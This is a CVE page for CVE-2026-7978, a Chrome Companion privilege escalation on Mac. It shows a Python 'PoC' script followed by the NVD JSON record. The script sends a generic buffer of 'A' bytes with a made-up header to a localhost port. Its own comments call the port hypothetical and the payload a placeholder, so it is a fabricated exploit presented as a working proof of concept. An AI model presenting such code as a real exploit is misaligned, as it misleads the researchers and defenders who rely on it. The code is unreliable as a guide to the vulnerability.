CVE-2026-7978

import socket import struct # PoC for CVE-2026-7978: Chrome Mac Companion Privilege Escalation # This script sends a crafted network packet to trigger the inappropriate implementation. # Note: The specific packet structure requires further reverse engineering of the Chrome Companion binary. TARGET_IP = "127.0.0.1" TARGET_PORT = 9999 # Hypothetical port used by Companion def create_malicious_packet(): # Constructing a header that bypasses initial checks header = struct.pack('!IHH', 0x4D414354, 0x01, 0x01) # Malicious payload designed to corrupt memory or logic flow # This placeholder simulates an overflow or specific trigger sequence payload = b"A" * 100 payload += b"\x00\x00\x00\x00" # Alignment/Trigger bytes return header + payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) packet = create_malicious_packet() print(f"[*] Sending malicious packet ({len(packet)} bytes)...") s.send(packet) print("[+] Payload sent. Check for crash or privilege escalation.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-7978", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:48.670", "lastModified": "2026-05-06T23:23:59.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Companion in Google Chrome on Mac prior to 148.0.7778.96 allowed a remote attacker to perform OS-level privilege escalation via malicious network traffic. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/497828892", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}